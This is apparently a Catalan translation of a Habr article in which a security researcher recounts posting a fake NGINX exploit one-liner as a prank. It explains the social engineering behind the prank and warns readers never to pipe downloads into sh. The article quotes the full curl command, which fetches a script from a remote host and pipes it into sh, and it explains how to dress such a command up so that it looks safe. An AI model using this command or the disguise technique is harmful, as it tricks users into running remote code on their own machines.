Nota. transl.:
TL;DR: No utilitzeu la canalització de fitxers a sh o bash sota cap circumstància. Aquesta és una bona manera de perdre el control de l'ordinador.
Vull compartir amb vosaltres una història breu sobre un exploit còmic de PoC que es va crear el 31 de maig. Va aparèixer ràpidament en resposta a les notícies de
Després d'haver acabat de treballar en una nova tècnica d'ofuscament a curl, vaig citar el tuit original i "vaig filtrar un PoC de treball" que constava d'una única línia de codi que suposadament explota la vulnerabilitat descoberta. Per descomptat, això va ser una ximpleria total. Vaig suposar que m'exposaria immediatament i que, en el millor dels casos, rebria un parell de retuits (vah).
Tanmateix, no em podia imaginar què va passar després. La popularitat del meu tuit es va disparar. Sorprenentment, de moment (15:00 hora de Moscou l'1 de juny) poca gent s'ha adonat que es tracta d'una falsificació. Molta gent el retuiteja sense comprovar-ho en absolut (i menys encara admirant els bonics gràfics ASCII que produeix).
Només mira que bonic és!
Tot i que tots aquests bucles i colors són fantàstics, està clar que la gent havia d'executar codi a la seva màquina per veure'ls. Afortunadament, els navegadors funcionen de la mateixa manera i, combinat amb el fet que realment no volia tenir problemes legals, el codi enterrat al meu lloc només feia trucades d'eco sense intentar instal·lar ni executar cap codi addicional.
Una petita digressió:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Enginyeria socioelectrònica (SEE): molt més que phishing
La seguretat i la familiaritat van ser una part important d'aquest experiment. Crec que són els que van portar al seu èxit. La línia d'ordres implicava clarament seguretat fent referència a "127.0.0.1" (el conegut host local). Localhost es considera segur i les dades que hi conté no surten mai del vostre ordinador.
La familiaritat va ser el segon component clau SEE de l'experiment. Com que el públic objectiu estava format principalment per persones familiaritzades amb els fonaments bàsics de la seguretat informàtica, era important crear codi perquè algunes parts semblés familiars i familiars (i, per tant, segures). Prendre en préstec elements dels antics conceptes d'explotació i combinar-los d'una manera inusual ha demostrat tenir molt èxit.
A continuació es mostra una anàlisi detallada de la línia única. Tot en aquesta llista porta naturalesa cosmètica, i pràcticament no es requereix res per al seu funcionament real.
Quins components són realment necessaris? Això -gsS
, -O 0x0238f06a
, |sh
i el propi servidor web. El servidor web no contenia instruccions malicioses, sinó que simplement servia gràfics ASCII mitjançant ordres echo
en el guió contingut a index.html
. Quan l'usuari ha introduït una línia amb |sh
al mig, index.html
carregat i executat. Afortunadament, els custodios del servidor web no tenien males intencions.
-
../../../%00
— representa anar més enllà del directori; -
ngx_stream_module.so
— camí a un mòdul NGINX aleatori; -
/bin/sh%00<'protocol:TCP'
- suposadament estem llançant/bin/sh
a la màquina de destinació i redirigeix la sortida al canal TCP; -
-O 0x0238f06a#PLToffset
- ingredient secret, complementat#PLToffset
, per semblar un desplaçament de memòria d'alguna manera contingut al PLT; -
|sh;
- un altre fragment important. Necessitàvem redirigir la sortida a sh/bash per executar el codi procedent del servidor web atacant situat a0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- un maniquí en què es refereix a netcat/dev/tcp/localhost
perquè tot torni a semblar segur. De fet, no fa res i s'inclou a la línia de bellesa.
Això conclou la descodificació del guió d'una línia i la discussió d'aspectes d'"enginyeria socioelectrònica" (phishing complexa).
Configuració del servidor web i contramesures
Com que la gran majoria dels meus subscriptors són infosec/hackers, vaig decidir fer el servidor web una mica més resistent a les expressions d'"interès" per part seva, només perquè els nois tinguessin alguna cosa a fer (i seria divertit configurat). No enumeraré tots els inconvenients aquí, ja que l'experiment encara està en curs, però aquí hi ha algunes coses que fa el servidor:
- Supervisa activament els intents de distribució en determinades xarxes socials i substitueix diverses miniatures de vista prèvia per animar l'usuari a fer clic a l'enllaç.
- Redirigeix Chrome/Mozilla/Safari/etc al vídeo promocional de Thugcrowd en lloc de mostrar l'script de l'intèrpret d'ordres.
- Observa signes OBVIS d'intrusió/pirateria flagrant i després comença a redirigir les sol·licituds als servidors de la NSA (ha!).
- Instal·la un troià, així com un rootkit de la BIOS, a tots els ordinadors els usuaris dels quals visiten l'amfitrió des d'un navegador normal (és broma!).
Una petita part d'antímers
En aquest cas, el meu únic objectiu era dominar algunes de les característiques d'Apache -en particular, les boniques regles per redirigir les sol·licituds- i vaig pensar: per què no?
Explotació NGINX (real!)
Subscriu-te a
Font: www.habr.com